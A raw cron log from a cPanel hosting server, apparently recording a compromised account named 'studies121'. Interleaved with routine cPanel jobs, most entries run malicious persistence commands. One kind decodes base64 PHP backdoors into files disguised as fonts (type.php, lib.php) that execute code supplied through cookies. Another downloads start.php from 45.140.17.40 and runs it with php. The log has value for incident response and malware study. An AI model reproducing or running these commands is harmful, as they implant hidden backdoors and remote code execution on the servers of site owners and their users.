Sep 20 16:22:02 ip-184-168-122-23 CROND[30067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:22:02 ip-184-168-122-23 CROND[30068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:22:02 ip-184-168-122-23 CROND[30069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:22:02 ip-184-168-122-23 CROND[30070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:23:01 ip-184-168-122-23 CROND[30307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:23:01 ip-184-168-122-23 CROND[30311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:23:01 ip-184-168-122-23 CROND[30310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:23:01 ip-184-168-122-23 CROND[30312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:24:01 ip-184-168-122-23 CROND[30540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:24:01 ip-184-168-122-23 CROND[30539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:24:01 ip-184-168-122-23 CROND[30542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:24:01 ip-184-168-122-23 CROND[30541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:24:01 ip-184-168-122-23 CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30813]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:25:01 ip-184-168-122-23 CROND[30816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:25:01 ip-184-168-122-23 CROND[30817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:26:01 ip-184-168-122-23 CROND[31110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:26:01 ip-184-168-122-23 CROND[31112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:26:01 ip-184-168-122-23 CROND[31114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:26:01 ip-184-168-122-23 CROND[31116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:26:01 ip-184-168-122-23 CROND[31113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:27:01 ip-184-168-122-23 CROND[31369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:27:01 ip-184-168-122-23 CROND[31371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:27:01 ip-184-168-122-23 CROND[31373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:27:01 ip-184-168-122-23 CROND[31380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:28:01 ip-184-168-122-23 CROND[31629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:28:01 ip-184-168-122-23 CROND[31631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:28:01 ip-184-168-122-23 CROND[31634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:28:01 ip-184-168-122-23 CROND[31632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:28:01 ip-184-168-122-23 CROND[31633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:29:01 ip-184-168-122-23 CROND[31890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:29:01 ip-184-168-122-23 CROND[31892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:29:01 ip-184-168-122-23 CROND[31891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:29:01 ip-184-168-122-23 CROND[31893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:30:01 ip-184-168-122-23 CROND[32236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:30:01 ip-184-168-122-23 CROND[32237]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:30:01 ip-184-168-122-23 CROND[32243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:31:01 ip-184-168-122-23 CROND[32539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:31:01 ip-184-168-122-23 CROND[32540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:31:01 ip-184-168-122-23 CROND[32542]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 16:31:01 ip-184-168-122-23 CROND[32543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:31:01 ip-184-168-122-23 CROND[32541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:32:02 ip-184-168-122-23 CROND[341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:32:02 ip-184-168-122-23 CROND[340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:32:02 ip-184-168-122-23 CROND[344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:32:02 ip-184-168-122-23 CROND[342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:32:02 ip-184-168-122-23 CROND[343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:33:01 ip-184-168-122-23 CROND[650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:33:01 ip-184-168-122-23 CROND[653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:33:01 ip-184-168-122-23 CROND[652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:33:01 ip-184-168-122-23 CROND[654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:34:01 ip-184-168-122-23 CROND[950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
